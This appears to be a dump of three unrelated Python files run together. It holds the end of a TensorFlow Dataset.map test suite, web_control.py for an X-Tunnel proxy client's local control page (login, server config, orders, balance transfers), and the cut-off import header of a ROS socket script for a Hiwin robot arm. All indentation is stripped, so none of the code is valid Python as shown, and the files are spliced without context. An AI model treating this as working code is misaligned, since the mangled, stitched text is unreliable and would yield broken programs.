with self.assertRaises(errors.OutOfRangeError):
self.evaluate(get_next())
def testCaptureHashTable(self):
# NOTE(mrry): We must use the V2 variants of `HashTable`
# etc. because these produce a `tf.resource`-typed output that is
# compatible with the in-graph function implementation.
default_val = -1
keys = constant_op.constant(["brain", "salad", "surgery"])
values = constant_op.constant([0, 1, 2], dtypes.int64)
table = lookup_ops.HashTable(
lookup_ops.KeyValueTensorInitializer(keys, values), default_val)
input_sentences = dataset_ops.Dataset.from_tensor_slices(
["brain brain tank salad surgery", "surgery brain"])
dataset = input_sentences.map(lambda x: string_ops.string_split([x]).values
).map(table.lookup)
get_next = self.getNext(dataset, requires_initialization=True)
self.evaluate(table.initializer)
self.evaluate(get_next())
self.evaluate(get_next())
with self.assertRaises(errors.OutOfRangeError):
self.evaluate(get_next())
@test_util.run_v1_only("b/123904513")
def testCaptureQueue(self):
elements = np.random.randint(100, size=[200])
queue = data_flow_ops.FIFOQueue(200, dtypes.int64, shapes=[])
enqueue_op = queue.enqueue_many(elements)
close_op = queue.close()
dataset = dataset_ops.Dataset.from_tensors(0).repeat(
-1).map(lambda _: queue.dequeue())
get_next = self.getNext(dataset, requires_initialization=True)
self.evaluate(enqueue_op)
self.evaluate(close_op)
for element in elements:
self.assertEqual(element, self.evaluate(get_next()))
with self.assertRaises(errors.OutOfRangeError):
self.evaluate(get_next())
# TODO(b/117581999): Possible deadlock in eager mode, debug.
@test_util.run_v1_only("b/120545219")
def testSkipEagerCaptureSameResourceMultipleTimes(self):
elements = np.random.randint(100, size=[200])
queue = data_flow_ops.FIFOQueue(
200, dtypes.int64, shapes=[], shared_name="shared_queue")
queue_2 = data_flow_ops.FIFOQueue(
200, dtypes.int64, shapes=[], shared_name="shared_queue")
enqueue_op = queue.enqueue_many(elements)
close_op = queue.close()
dataset = dataset_ops.Dataset.from_tensors(0).repeat(
-1).map(lambda _: (queue.dequeue(), queue_2.dequeue()))
self.evaluate(enqueue_op)
self.evaluate(close_op)
get_next = self.getNext(dataset, requires_initialization=True)
for i in range(100):
self.assertCountEqual([elements[i * 2], elements[i * 2 + 1]],
self.evaluate(get_next()))
with self.assertRaises(errors.OutOfRangeError):
self.evaluate(get_next())
# TODO(b/121264236): add eager mode coverage when we have multi-device setup.
@test_util.run_v1_only("b/121264236")
def testSkipEagerCaptureConstantsWithConflictingDevices(self):
config = config_pb2.ConfigProto(device_count={"CPU": 3})
with self.cached_session(config=config):
with ops.device("/device:CPU:0"):
a = constant_op.constant(3.0)
with ops.device("/device:CPU:1"):
b = constant_op.constant(5.0)
def func(_):
return math_ops.add(a, b)
dataset = dataset_ops.Dataset.from_tensors(0).repeat(10).map(func)
expected_output = [8.0] * 10
self.assertDatasetProduces(dataset, expected_output=expected_output)
# TODO(b/121264236): add eager mode coverage when we have multi-device setup.
@test_util.run_v1_only("b/121264236")
def testSkipEagerRefVariablesWithConflictingDevices(self):
config = config_pb2.ConfigProto(device_count={"CPU": 3})
with self.cached_session(config=config):
def func(_):
with ops.device("/device:CPU:0"):
a = variables.VariableV1(3.0)
with ops.device("/device:CPU:1"):
b = variables.VariableV1(5.0)
return math_ops.add(a, b)
# Use the legacy function implementation as eager function will convert
# RefVariables to ResourceVariables.
dataset = dataset_ops.Dataset.from_tensors(0).repeat(10)
dataset = dataset.map_with_legacy_function(func)
self.evaluate(variables.global_variables_initializer())
expected_output = [8.0] * 10
self.assertDatasetProduces(
dataset,
expected_output=expected_output,
requires_initialization=True)
# TODO(b/121264236): add eager mode coverage when we have multi-device setup.
@test_util.run_v1_only("b/121264236")
def testSkipEagerResourceVariablesWithConflictingDevices(self):
config = config_pb2.ConfigProto(device_count={"CPU": 3})
with self.cached_session(config=config):
def func(_):
with ops.device("/device:CPU:0"):
a = variables.Variable(3.0)
with ops.device("/device:CPU:1"):
b = variables.Variable(5.0)
return math_ops.add(a, b)
# The MapDataset node ends up with two ResourceVariable inputs, one on
# device CPU:0 and the other on device CPU:1. The placer cannot resolve
# this as it cannot place the MapDatasetOp on both devices.
dataset = dataset_ops.Dataset.from_tensors(0).repeat(10).map(func)
expected_error = (
errors.InvalidArgumentError,
"Could not colocate node with its resource and reference inputs")
self.assertDatasetProduces(
dataset, expected_error=expected_error, requires_initialization=True)
def testCaptureVariable(self):
counter_var = variable_scope.get_variable(
"counter", (), dtypes.int32, use_resource=True)
dataset = dataset_ops.Dataset.from_tensors(0).repeat(
10).map(lambda _: counter_var.assign_add(1))
get_next = self.getNext(dataset, requires_initialization=True)
self.evaluate(counter_var.initializer)
for i in range(10):
self.assertEqual(i, self.evaluate(counter_var))
self.assertEqual(i + 1, self.evaluate(get_next()))
self.assertEqual(10, self.evaluate(counter_var))
with self.assertRaises(errors.OutOfRangeError):
self.evaluate(get_next())
self.assertEqual(10, self.evaluate(counter_var))
# TODO(b/117581999): error not captured for eager mode, debug.
@test_util.run_v1_only("b/120545219")
def testSkipEagerCaptureUninitializedVariableError(self):
counter_var = variable_scope.get_variable(
"counter", (), dtypes.int32, use_resource=True)
dataset = dataset_ops.Dataset.from_tensors(0).repeat(
10).map(lambda _: counter_var.assign_add(1))
get_next = self.getNext(dataset, requires_initialization=True)
with self.assertRaises(errors.NotFoundError):
self.evaluate(get_next())
def testSeededStatefulOperatorIsProperlyStateful(self):
dataset = dataset_ops.Dataset.from_tensors(0).repeat(
10).map(lambda _: random_ops.random_uniform((), seed=11)).batch(2)
get_next = self.getNext(dataset, requires_initialization=True)
random_values = []
with self.assertRaises(errors.OutOfRangeError):
while True:
random_values.extend(self.evaluate(get_next()))
self.assertLen(random_values, 10)
self.assertGreater(np.abs(np.diff(random_values)).max(), 1e-6)
get_next = self.getNext(dataset, requires_initialization=True)
random_values_2 = []
with self.assertRaises(errors.OutOfRangeError):
while True:
random_values_2.extend(self.evaluate(get_next()))
# Randomness is repeatable given same seed
self.assertAllClose(random_values, random_values_2)
def testStatefulMapKeepsStateAcrossIterators(self):
dataset = dataset_ops.Dataset.from_tensors(0).repeat(10).map(
lambda _: random_ops.random_uniform((), seed=11)).repeat(1000).batch(10)
get_next = self.getNext(dataset)
random_values = self.evaluate(get_next())
# Assert that one of the next 99 batches yielded by the iterator is
# different from the first.
i = 0
while i < 99:
if np.any(random_values != self.evaluate(get_next())):
break
i += 1
self.assertLess(i, 99)
def testStatefulOperationInShortCircuit(self):
counter_var = variable_scope.get_variable(
"counter", (), dtypes.int32, use_resource=True)
def increment_fn(x):
counter_var.assign_add(1)
return x
dataset = dataset_ops.Dataset.range(10).map(increment_fn)
get_next = self.getNext(dataset, requires_initialization=True)
self.evaluate(counter_var.initializer)
for i in range(10):
self.assertEqual(i, self.evaluate(counter_var))
self.assertEqual(i, self.evaluate(get_next()))
self.assertEqual(10, self.evaluate(counter_var))
with self.assertRaises(errors.OutOfRangeError):
self.evaluate(get_next())
self.assertEqual(10, self.evaluate(counter_var))
def testMapDict(self):
dataset = dataset_ops.Dataset.range(10).map(
lambda x: {"foo": x * 2, "bar": x**2}).map(
lambda d: d["foo"] + d["bar"])
self.assertDatasetProduces(
dataset, expected_output=[i * 2 + i**2 for i in range(10)])
def testMapNamedtuple(self, count=10):
# construct dataset of tuples
labels = dataset_ops.Dataset.range(count)
images = labels.map(lambda l: -l)
dataset_tuple = dataset_ops.Dataset.zip((labels, images))
# convert dataset of tuples to dataset of namedtuples
example = namedtuple("Example", ["label", "image"])
dataset_namedtuple = dataset_tuple.map(example)
def preprocess_tuple(label, image):
image = 2 * image
return label, image
def preprocess_namedtuple(example):
return example._replace(image=2 * example.image)
# preprocess both datasets
dataset_tuple = dataset_tuple.map(preprocess_tuple)
dataset_namedtuple = dataset_namedtuple.map(preprocess_namedtuple)
next_tuple = self.getNext(dataset_tuple)
next_namedtuple = self.getNext(dataset_namedtuple)
# make sure both datasets contain the same data
for i in range(count):
tuple_, namedtuple_ = self.evaluate([next_tuple(), next_namedtuple()])
self.assertEqual(tuple_, namedtuple_)
self.assertEqual(tuple_, (i, -2 * i))
with self.assertRaises(errors.OutOfRangeError):
self.evaluate(next_namedtuple())
def testUseStepContainerInMap(self):
row = np.arange(6)
dataset = dataset_ops.Dataset.from_tensors(
row).map(lambda elems: map_fn.map_fn(lambda x: x * x, elems))
self.assertDatasetProduces(dataset, expected_output=[row**2])
def testCaseAndCondInMap(self):
def control_map_fn(x, y):
def multiply():
return x * 2
def divide():
return x // 2
def defaults_two():
return control_flow_ops.cond(
math_ops.equal(math_ops.mod(x, 2), 0),
multiply,
divide,
name="cond_mult")
pred_fn_pairs = {
math_ops.logical_or(math_ops.equal(y, 2), math_ops.equal(y, 3)):
defaults_two,
}
return control_flow_ops.case(
pred_fn_pairs, default=multiply, exclusive=True)
def build_dataset(row, num):
dataset = dataset_ops.Dataset.from_tensor_slices(
row).map(lambda x: control_map_fn(x, num))
return self.getNext(dataset)
row = np.arange(6)
for num in [2, 3, 4]:
get_next = build_dataset(row, num)
for i in range(6):
self.assertEqual(
(i // 2 if i % 2 else i * 2) if (num == 2 or num == 3) else i * 2,
self.evaluate(get_next()))
with self.assertRaises(errors.OutOfRangeError):
self.evaluate(get_next())
def testCaseInWhileInMap(self):
def control_map_fn(x, y):
def multiply():
return x * 2
def divide():
return x // 2
pred_fn_pairs = {
math_ops.logical_or(math_ops.equal(y, 2), math_ops.equal(y, 3)):
divide,
}
return control_flow_ops.case(
pred_fn_pairs, default=multiply, exclusive=True)
def build_dataset(row, num):
# pylint: disable=g-long-lambda
dataset = dataset_ops.Dataset.from_tensors(
row).map(lambda elems: map_fn.map_fn(
lambda x: control_map_fn(x, num), elems))
return self.getNext(dataset)
row = np.arange(6)
for num in [2, 3, 4]:
get_next = build_dataset(row, num)
self.assertAllEqual(
[x // 2 if (num == 2 or num == 3) else x * 2 for x in row],
self.evaluate(get_next()))
with self.assertRaises(errors.OutOfRangeError):
self.evaluate(get_next())
def testCaseAndCondInWhileInMap(self):
def control_map_fn(x, y):
def multiply():
return x * 2
def divide():
return x // 2
def defaults_two():
return control_flow_ops.cond(
math_ops.equal(math_ops.mod(x, 2), 0),
multiply,
divide,
name="cond_mult")
pred_fn_pairs = {
math_ops.logical_or(math_ops.equal(y, 2), math_ops.equal(y, 3)):
defaults_two,
}
return control_flow_ops.case(
pred_fn_pairs, default=multiply, exclusive=True)
row = np.arange(6)
num = 2
# pylint: disable=g-long-lambda
dataset = dataset_ops.Dataset.from_tensors(
row).map(lambda elems: map_fn.map_fn(
lambda x: control_map_fn(x, num), elems))
# pylint: enable=g-long-lambda
get_next = self.getNext(dataset)
self.assertAllEqual([(x // 2 if x % 2 else x * 2) if
(num == 2 or num == 3) else x * 2 for x in row],
self.evaluate(get_next()))
with self.assertRaises(errors.OutOfRangeError):
self.evaluate(get_next())
def testNestedListMapDataset(self):
dataset = dataset_ops.Dataset.from_tensors(
[0, 1, 2]).repeat(10).map(lambda a: ([a[1], a[0] + a[2]], a[1]))
expected_output = [(np.array([1, 2]), 1)] * 10
self.assertDatasetProduces(dataset, expected_output=expected_output)
def testPrefetch(self):
# We will use this event to test that `_map_py_func()` has been
# invoked a certain number of times (6 times, to be exact) after
# consuming fewer elements from the iterator.
ev = threading.Event()
set_event_during_invocation = 5
def _map_py_func(x):
if x == set_event_during_invocation:
ev.set()
return x * x
def _map_fn(x):
return script_ops.py_func(_map_py_func, [x], x.dtype)
def do_test(buffer_size):
dataset = dataset_ops.Dataset.range(100).map(_map_fn).prefetch(
buffer_size)
get_next = self.getNext(dataset)
# Simple test that prefetch yields the expected values in the
# expected order.
for i in range(100):
self.assertEqual(i * i, self.evaluate(get_next()))
with self.assertRaises(errors.OutOfRangeError):
self.evaluate(get_next())
for buffer_size in [1, 10, 100, 1000]:
do_test(buffer_size)
# We can indirectly observe that varying the buffer size has the
# intended effect by observing when `ev` is set (on the 6th
# invocation of `_map_py_func()`).
# NOTE(mrry): We do not test with `buffer_size ==
# set_event_during_invocation`, because we must consume at least
# one element to start the prefetching.
def do_test_ev(buffer_size):
dataset = dataset_ops.Dataset.range(100).map(_map_fn).prefetch(
buffer_size)
get_next = self.getNext(dataset)
event_will_be_set_after_consuming = (
set_event_during_invocation - buffer_size + 1)
ev.clear()
for i in range(event_will_be_set_after_consuming):
self.assertFalse(ev.is_set())
self.assertEqual(i * i, self.evaluate(get_next()))
ev.wait()
for i in range(event_will_be_set_after_consuming, 100):
self.assertEqual(i * i, self.evaluate(get_next()))
with self.assertRaises(errors.OutOfRangeError):
self.evaluate(get_next())
for buffer_size in range(1, set_event_during_invocation):
do_test_ev(buffer_size)
def testReturnList(self):
dataset = dataset_ops.Dataset.range(
10).map(lambda x: [x, constant_op.constant(37.0)])
self.assertDatasetProduces(
dataset, expected_output=[(i, 37.0) for i in range(10)])
def testMultiOutputPyFunc(self):
# The `tf.py_func()` op returns a list of tensors for its outputs.
def _map_fn(x_tensor):
def _map_py_func(x):
return x, np.array(37.0, dtype=np.float64)
return script_ops.py_func(
_map_py_func, [x_tensor], [dtypes.int64, dtypes.float64])
dataset = dataset_ops.Dataset.range(10).map(_map_fn)
self.assertDatasetProduces(
dataset, expected_output=[(i, 37.0) for i in range(10)])
def testSparse(self):
def _sparse(i):
return sparse_tensor.SparseTensorValue(
indices=np.array([[0, 0]]),
values=(i * np.array([1])),
dense_shape=np.array([1, 1]))
dataset = dataset_ops.Dataset.range(10).map(_sparse)
self.assertDatasetProduces(
dataset, expected_output=[_sparse(i) for i in range(10)])
def testSparseChain(self):
def _sparse(i):
return sparse_tensor.SparseTensorValue(
indices=np.array([[0, 0]]),
values=(i * np.array([1])),
dense_shape=np.array([1, 1]))
def _check(i):
self.assertTrue(sparse_tensor.is_sparse(i))
return sparse_ops.sparse_concat(0, [i, i])
dataset = dataset_ops.Dataset.range(10).map(_sparse).map(_check)
self.assertDatasetProduces(
dataset,
expected_output=[self.evaluate(_check(_sparse(i))) for i in range(10)])
@test_util.run_v1_only("b/123904513")
def testParallelMapOutOfRangeError(self):
def raising_py_func(i):
if i == 100:
raise StopIteration()
else:
return i
dataset = dataset_ops.Dataset.range(105).map(
lambda x: script_ops.py_func(raising_py_func, [x], dtypes.int64),
num_parallel_calls=2)
get_next = self.getNext(dataset)
for i in range(100):
self.assertEqual(i, self.evaluate(get_next()))
with self.assertRaises(errors.OutOfRangeError):
self.evaluate(get_next())
def testConstantOutput(self):
dataset = dataset_ops.Dataset.range(10).map(lambda x: [x, "hello", 10])
self.assertDatasetProduces(dataset, [(i, b"hello", 10) for i in range(10)])
def testWarnOnLookupTable(self):
def collecting_function(x):
_ = lookup_ops.HashTable(
lookup_ops.KeyValueTensorInitializer([], []), 0.0, name="t1")
return x
warnings.simplefilter("always")
with warnings.catch_warnings(record=True) as w:
_ = dataset_ops.Dataset.range(10).map(collecting_function)
# NOTE(mrry): Python 3 prints other warnings in addition to the one we are
# testing, so we search for the expected warning.
self.assertGreaterEqual(len(w), 1)
found_warning = False
for warning in w:
if ("Creating lookup tables inside a function passed to Dataset.map() is "
"not supported." in str(warning)):
found_warning = True
break
self.assertTrue(found_warning)
def testNestedDatasetMap(self):
# TODO(b/110122868): When iterators can yield a `tf.data.Dataset`, remove
# the `get_single_element()` call.
dataset = dataset_ops.Dataset.from_tensors([1.0, 2.0, 3.0]).map(
dataset_ops.Dataset.from_tensor_slices).map(
lambda ds: ds.batch(3)).flat_map(lambda x: x)
self.assertDatasetProduces(dataset, expected_output=[[1.0, 2.0, 3.0]])
def testReturnValueError(self):
dataset = dataset_ops.Dataset.from_tensors([1.0, 2.0, 3.0])
with self.assertRaisesRegexp(
TypeError, r"Unsupported return value from function passed to "
r"Dataset.map\(\): None."):
_ = dataset.map(lambda x: None)
def testBrokenFunctionErrorOnInitialization(self):
dataset = dataset_ops.Dataset.from_tensor_slices([1.0, 2.0, 3.0])
def broken_function(_):
"""A function deliberately designed to fail on instantiation."""
value = []
tensor_value = attr_value_pb2.AttrValue()
tensor_value.tensor.CopyFrom(
tensor_util.make_tensor_proto(
value, dtype=dtypes.float32, shape=[0], verify_shape=False))
dtype_value = attr_value_pb2.AttrValue(type=dtypes.int32.as_datatype_enum)
# Create a "Const" op with a `tf.float32` value and a `tf.int32` type
# attr.
const_tensor = ops.get_default_graph().create_op(
"Const", [], [dtypes.int32],
attrs={
"value": tensor_value,
"dtype": dtype_value
},
name="BrokenConst").outputs[0]
return const_tensor
dataset = dataset.map(broken_function)
self.assertDatasetProduces(
dataset, expected_error=(errors.InvalidArgumentError, "BrokenConst"))
# pylint: disable=g-long-lambda
@parameterized.named_parameters(
("Map", lambda dataset, func:
dataset_ops.MapDataset(dataset, func, use_inter_op_parallelism=False)),
("ParallelMap", lambda dataset, func:
dataset_ops.ParallelMapDataset(dataset, func, num_parallel_calls=1,
use_inter_op_parallelism=False)),
)
def testNoInterOpParallelism(self, make_dataset_fn):
dataset = dataset_ops.Dataset.from_tensors(0)
def _get_tid():
return np.int64(threading.current_thread().ident)
def _map_fn(_):
tids = []
for _ in range(10):
tids.append(script_ops.py_func(_get_tid, [], dtypes.int64))
return tids
dataset = make_dataset_fn(dataset, _map_fn)
get_next = self.getNext(dataset)
tids = self.evaluate(get_next())
self.assertTrue(all(tids[0] == tid for tid in tids))
# pylint: enable=g-long-lambda
@parameterized.named_parameters(
("SequentialIdentity", None, lambda x: x, None),
("SequentialReplicate", None, lambda x: (x, x), None),
("SequentialSwap", (None, None), lambda x, y: (y, x), None),
("SequentialProject", (None, None), lambda x, y: x, None),
("ParallelIdentity", None, lambda x: x, 10),
("ParallelReplicate", None, lambda x: (x, x), 10),
("ParallelSwap", (None, None), lambda x, y: (y, x), 10),
("ParallelProject", (None, None), lambda x, y: x, 10),
)
def testShortCircuit(self, structure, map_fn, num_parallel_calls):
dataset = self.structuredDataset(structure).repeat().map(
map_fn, num_parallel_calls=num_parallel_calls)
get_next = self.getNext(dataset)
if isinstance(structure, tuple):
expected = map_fn(*self.evaluate(self.structuredElement(structure)))
else:
expected = map_fn(self.evaluate(self.structuredElement(structure)))
self.assertEqual(expected, self.evaluate(get_next()))
@parameterized.named_parameters(
("Sequential", None),
("Parallel", 10),
)
def testShortCircuitCapturedInput(self, num_parallel_calls):
captured_t = variables.Variable(42)
dataset = self.structuredDataset(None).repeat().map(
lambda x: captured_t, num_parallel_calls=num_parallel_calls)
self.evaluate(variables.global_variables_initializer())
get_next = self.getNext(dataset, requires_initialization=True)
self.assertEqual(42, self.evaluate(get_next()))
@parameterized.named_parameters(
("1", 1, 1),
("2", 10, 1),
("3", 10, 10),
("4", 100, 1),
("5", 100, 10),
("6", 100, 100),
)
def testSloppyInterleaveInOrder(self, num_elements, num_parallel_calls):
dataset, coordination_events = _make_coordinated_sloppy_dataset(
num_elements, num_parallel_calls)
options = dataset_ops.Options()
options.experimental_threading = threading_options.ThreadingOptions()
options.experimental_threading.private_threadpool_size = (
num_parallel_calls + 1)
dataset = dataset.with_options(options)
get_next = self.getNext(dataset, requires_initialization=True)
for i in range(num_elements):
coordination_events[i].set()
self.assertEqual(i * i, self.evaluate(get_next()))
with self.assertRaises(errors.OutOfRangeError):
self.evaluate(get_next())
@parameterized.named_parameters(
("1", 10, 10),
("2", 100, 10),
("3", 100, 100),
)
def testSloppyInterleaveOutOfOrder(self, num_elements, num_parallel_calls):
dataset, coordination_events = _make_coordinated_sloppy_dataset(
num_elements, num_parallel_calls)
options = dataset_ops.Options()
options.experimental_threading = threading_options.ThreadingOptions()
options.experimental_threading.private_threadpool_size = (
num_parallel_calls + 1)
dataset = dataset.with_options(options)
get_next = self.getNext(dataset, requires_initialization=True)
elements = [x for x in range(num_elements)]
for i in [1, 4, 7]:
elements[i], elements[i + 1] = elements[i + 1], elements[i]
for element in elements:
coordination_events[element].set()
self.assertEqual(element * element, self.evaluate(get_next()))
with self.assertRaises(errors.OutOfRangeError):
self.evaluate(get_next())
@parameterized.named_parameters(
("Map", None),
("ParallelMap", 12),
)
def testPreserveCardinality(self, num_parallel_calls):
def py_fn(_):
raise StopIteration()
dataset = dataset_ops.DatasetV2.from_tensors(0).map(
lambda x: script_ops.py_func(py_fn, [x], dtypes.int64),
num_parallel_calls=num_parallel_calls)
get_next = self.getNext(dataset)
with self.assertRaises(errors.InvalidArgumentError):
self.evaluate(get_next())
# NOTE: collection test is specific to graph mode only, no eager coverage.
@test_util.run_v1_only("graph specific test")
def testSkipEagerCollectionCopy(self):
w = variable_scope.get_variable("w", [])
self.assertIn(w, ops.get_collection(ops.GraphKeys.GLOBAL_VARIABLES))
def func(x):
self.assertIn(w, ops.get_collection(ops.GraphKeys.GLOBAL_VARIABLES))
return x
dataset = dataset_ops.Dataset.from_tensors(constant_op.constant(1.0))
dataset.map(func)
if __name__ == "__main__":
test.main()
|
web_control.py | #!/usr/bin/env python
# coding:utf-8
import urlparse
import os
import cgi
import time
import hashlib
from xlog import getLogger
import threading
xlog = getLogger("x_tunnel")
import simple_http_server
import global_var as g
import proxy_session
from cloudflare_front import web_control as cloudflare_web
from tls_relay_front import web_control as tls_relay_web
from heroku_front import web_control as heroku_web
from front_dispatcher import all_fronts
current_path = os.path.dirname(os.path.abspath(__file__))
root_path = os.path.abspath(os.path.join(current_path, os.pardir, os.pardir))
web_ui_path = os.path.join(current_path, os.path.pardir, "web_ui")
class ControlHandler(simple_http_server.HttpServerHandler):
def __init__(self, client_address, headers, command, path, rfile, wfile):
self.client_address = client_address
self.headers = headers
self.command = command
self.path = path
self.rfile = rfile
self.wfile = wfile
def do_GET(self):
path = urlparse.urlparse(self.path).path
if path == "/log":
return self.req_log_handler()
elif path == "/debug":
data = g.session.status()
return self.send_response('text/html', data)
elif path == "/info":
return self.req_info_handler()
elif path == "/config":
return self.req_config_handler()
elif path == "/get_history":
return self.req_get_history_handler()
elif path == "/status":
return self.req_status()
elif path.startswith("/cloudflare_front/"):
path = self.path[17:]
controler = cloudflare_web.ControlHandler(self.client_address,
self.headers,
self.command, path,
self.rfile, self.wfile)
controler.do_GET()
elif path.startswith("/heroku_front/"):
path = self.path[13:]
controler = heroku_web.ControlHandler(self.client_address,
self.headers,
self.command, path,
self.rfile, self.wfile)
controler.do_GET()
elif path.startswith("/tls_relay_front/"):
path = self.path[16:]
controler = tls_relay_web.ControlHandler(self.client_address,
self.headers,
self.command, path,
self.rfile, self.wfile)
controler.do_GET()
else:
xlog.warn('Control Req %s %s %s ', self.address_string(), self.command, self.path)
def do_POST(self):
xlog.debug('x-tunnel web_control %s %s %s ', self.address_string(), self.command, self.path)
try:
ctype, pdict = cgi.parse_header(self.headers.getheader('content-type'))
if ctype == 'multipart/form-data':
self.postvars = cgi.parse_multipart(self.rfile, pdict)
elif ctype == 'application/x-www-form-urlencoded':
length = int(self.headers.getheader('content-length'))
self.postvars = urlparse.parse_qs(self.rfile.read(length), keep_blank_values=1)
else:
self.postvars = {}
except:
self.postvars = {}
path = urlparse.urlparse(self.path).path
if path == '/login':
return self.req_login_handler()
elif path == "/logout":
return self.req_logout_handler()
elif path == "/register":
return self.req_login_handler()
elif path == "/config":
return self.req_config_handler()
elif path == "/order":
return self.req_order_handler()
elif path == "/transfer":
return self.req_transfer_handler()
elif path.startswith("/cloudflare_front/"):
path = path[17:]
controler = cloudflare_web.ControlHandler(self.client_address,
self.headers,
self.command, path,
self.rfile, self.wfile)
controler.do_POST()
elif path.startswith("/heroku_front/"):
path = path[13:]
controler = heroku_web.ControlHandler(self.client_address,
self.headers,
self.command, path,
self.rfile, self.wfile)
controler.do_POST()
elif path.startswith("/tls_relay_front/"):
path = path[16:]
controler = tls_relay_web.ControlHandler(self.client_address,
self.headers,
self.command, path,
self.rfile, self.wfile)
controler.do_POST()
else:
xlog.info('%s "%s %s HTTP/1.1" 404 -', self.address_string(), self.command, self.path)
return self.send_not_found()
def req_log_handler(self):
req = urlparse.urlparse(self.path).query
reqs = urlparse.parse_qs(req, keep_blank_values=True)
data = ''
if reqs["cmd"]:
cmd = reqs["cmd"][0]
else:
cmd = "get_last"
if cmd == "get_last":
max_line = int(reqs["max_line"][0])
data = xlog.get_last_lines(max_line)
elif cmd == "get_new":
last_no = int(reqs["last_no"][0])
data = xlog.get_new_lines(last_no)
else:
xlog.error('xtunnel log cmd:%s', cmd)
mimetype = 'text/plain'
self.send_response(mimetype, data)
def req_info_handler(self):
if len(g.config.login_account) == 0 or len(g.config.login_password) == 0:
return self.response_json({
"res": "logout"
})
if proxy_session.center_login_process:
return self.response_json({
"res": "login_process"
})
req = urlparse.urlparse(self.path).query
reqs = urlparse.parse_qs(req, keep_blank_values=True)
force = False
if 'force' in reqs:
xlog.debug("req_info in force")
force = 1
time_now = time.time()
if force or time_now - g.last_refresh_time > 3600 or \
(g.last_api_error.startswith("status:") and (time_now - g.last_refresh_time > 30)):
xlog.debug("x_tunnel force update info")
g.last_refresh_time = time_now
threading.Thread(target=proxy_session.request_balance, args=(None,None,False,False)).start()
return self.response_json({
"res": "login_process"
})
if len(g.last_api_error) and g.last_api_error != 'balance not enough':
res_arr = {
"res": "fail",
"login_account": "%s" % (g.config.login_account),
"reason": g.last_api_error
}
else:
res_arr = {
"res": "success",
"login_account": "%s" % (g.config.login_account),
"balance": "%f" % (g.balance),
"quota": "%d" % (g.quota),
"quota_list": g.quota_list,
"traffic": g.session.traffic,
"last_fail": g.last_api_error
}
self.response_json(res_arr)
def req_login_handler(self):
def check_email(email):
import re
if not re.match(r"[^@]+@[^@]+\.[^@]+", email):
return False
else:
return True
username = str(self.postvars['username'][0])
password = str(self.postvars['password'][0])
is_register = int(self.postvars['is_register'][0])
pa = check_email(username)
if not pa:
return self.response_json({
"res": "fail",
"reason": "Invalid email."
})
elif len(password) < 6:
return self.response_json({
"res": "fail",
"reason": "Password needs at least 6 charactors."
})
if password == "_HiddenPassword":
if username == g.config.login_account and len(g.config.login_password):
password_hash = g.config.login_password
else:
res_arr = {
"res": "fail",
"reason": "account not exist"
}
return self.response_json(res_arr)
else:
password_hash = str(hashlib.sha256(password).hexdigest())
res, reason = proxy_session.request_balance(username, password_hash, is_register, update_server=True)
if res:
g.config.login_account = username
g.config.login_password = password_hash
g.config.save()
res_arr = {
"res": "success",
"balance": float(g.balance)
}
g.last_refresh_time = time.time()
g.session.start()
else:
res_arr = {
"res": "fail",
"reason": reason
}
return self.response_json(res_arr)
def req_logout_handler(self):
g.config.login_account = ""
g.config.login_password = ""
g.config.save()
g.session.stop()
return self.response_json({"res": "success"})
def req_config_handler(self):
req = urlparse.urlparse(self.path).query
reqs = urlparse.parse_qs(req, keep_blank_values=True)
def is_server_available(server):
if g.selectable and server == '':
return True # "auto"
else:
for choice in g.selectable:
if choice[0] == server:
return True # "selectable"
return False # "unselectable"
if reqs['cmd'] == ['get']:
g.config.load()
server = {
'selectable': g.selectable,
'selected': 'auto' if g.config.server_host == '' else g.config.server_host, # "auto" as default
'available': is_server_available(g.config.server_host)
}
res = {
'server': server,
}
elif reqs['cmd'] == ['set']:
if 'server' in self.postvars:
server = str(self.postvars['server'][0])
server = '' if server == 'auto' else server
if is_server_available(server):
if server != g.config.server_host:
g.server_host = g.config.server_host = server
g.server_port = g.config.server_port = 443
g.config.save()
threading.Thread(target=g.session.reset).start()
res = {"res": "success"}
else:
res = {
"res": "fail",
"reason": "server not available"
}
else:
res = {"res": "fail"}
return self.response_json(res)
def req_order_handler(self):
product = self.postvars['product'][0]
if product != 'x_tunnel':
xlog.warn("x_tunnel order product %s not support", product)
return self.response_json({
"res": "fail",
"reason": "product %s not support" % product
})
plan = self.postvars['plan'][0]
if plan not in ["quarterly", "yearly"]:
xlog.warn("x_tunnel order plan %s not support", plan)
return self.response_json({
"res": "fail",
"reason": "plan %s not support" % plan
})
res, info = proxy_session.call_api("/order", {
"account": g.config.login_account,
"password": g.config.login_password,
"product": "x_tunnel",
"plan": plan
})
if not res:
xlog.warn("order fail:%s", info)
threading.Thread(target=proxy_session.update_quota_loop).start()
return self.response_json({"res": "fail", "reason": info})
self.response_json({"res": "success"})
def req_transfer_handler(self):
to_account = self.postvars['to_account'][0]
amount = float(self.postvars['amount'][0])
transfer_type = self.postvars['transfer_type'][0]
if transfer_type == 'balance':
if amount > g.balance:
reason = "balance not enough"
xlog.warn("transfer fail:%s", reason)
return self.response_json({"res": "fail", "reason": reason})
end_time = 0
elif transfer_type == "quota":
end_time = int(self.postvars['end_time'][0])
else:
reason = "transfer type not support:%s" % transfer_type
xlog.warn("transfer fail:%s", reason)
return self.response_json({"res": "fail", "reason": reason})
req_info = {
"account": g.config.login_account,
"password": g.config.login_password,
"transfer_type": transfer_type,
"end_time": end_time,
"to_account": to_account,
"amount": amount
}
res, info = proxy_session.call_api("/transfer", req_info)
if not res:
xlog.warn("transfer fail:%s", info)
return self.response_json({
"res": "fail",
"reason": info
})
self.response_json({"res": "success"})
def req_get_history_handler(self):
req = urlparse.urlparse(self.path).query
reqs = urlparse.parse_qs(req, keep_blank_values=True)
req_info = {
"account": g.config.login_account,
"password": g.config.login_password,
"start": int(reqs['start'][0]),
"end": int(reqs['end'][0]),
"limit": int(reqs['limit'][0])
}
res, info = proxy_session.call_api("/get_history", req_info)
if not res:
xlog.warn("get history fail:%s", info)
return self.response_json({
"res": "fail",
"reason": info
})
self.response_json({
"res": "success",
"history": info["history"]
})
def req_status(self):
res = g.session.get_stat()
self.response_json({
"res": "success",
"status": res
})
|
Hiwin_RT605_ArmCommand_Socket_20190627204159.py | #!/usr/bin/env python3
# license removed for brevity
import rospy
import os
import socket
##多執行序
import threading
import time
import sys
import matplotlib as plot
import HiwinRA605_socket_TCPcmd as TCP
import HiwinRA605_socket_Taskcmd as Taskcmd
import numpy as np
from std_msgs.msg import String
from ROS_Socket.srv import *
from ROS_Socket.msg import *
from std_msgs.msg import Int32MultiArray
import math
import enum
#Socket = 0
